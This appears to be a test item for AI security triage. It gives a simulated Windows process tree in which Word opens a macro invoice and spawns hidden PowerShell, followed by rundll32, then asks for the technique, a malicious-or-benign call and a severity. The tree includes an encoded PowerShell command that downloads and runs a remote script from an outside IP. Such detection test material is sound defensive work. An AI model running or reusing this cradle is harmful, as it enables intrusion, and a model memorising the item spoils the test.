{ "model": "jue-latest", "state": { "host": "FIN-WS-0231", "os": "Windows 11", "process_tree": [ { "pid": 4120, "image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "cmdline": "WINWORD.EXE /n \"C:\\Users\\lchen\\Downloads\\Invoice_Q3.docm\"" }, { "pid": 6644, "ppid": 4120, "image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "cmdline": "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADIALgAxADUANAAuADkAOQAvAGEALgBwAHMAMQAnACkA" }, { "pid": 7012, "ppid": 6644, "image": "C:\\Windows\\System32\\rundll32.exe", "cmdline": "rundll32.exe C:\\Users\\lchen\\AppData\\Local\\Temp\\upd.dll,DllRegisterServer" } ], "network": [ { "pid": 6644, "dst": "185.22.154.99:80", "proto": "http" } ] }, "questions": { "technique": { "type": "choice", "instructions": "Which MITRE ATT&CK technique best describes the PowerShell child of WINWORD.EXE?", "criteria": { "T1059.001": "Command and Scripting Interpreter: PowerShell", "T1218.011": "System Binary Proxy Execution: Rundll32", "T1003.001": "OS Credential Dumping: LSASS Memory", "T1021.001": "Remote Services: Remote Desktop Protocol" } }, "malicious": { "type": "noul", "instructions": "This process tree is malicious activity rather than normal user behaviour." }, "severity": { "type": "score", "instructions": "How urgent is the response to this host?", "criteria": [ "Informational", "Low", "Medium", "High", "Critical" ] } } }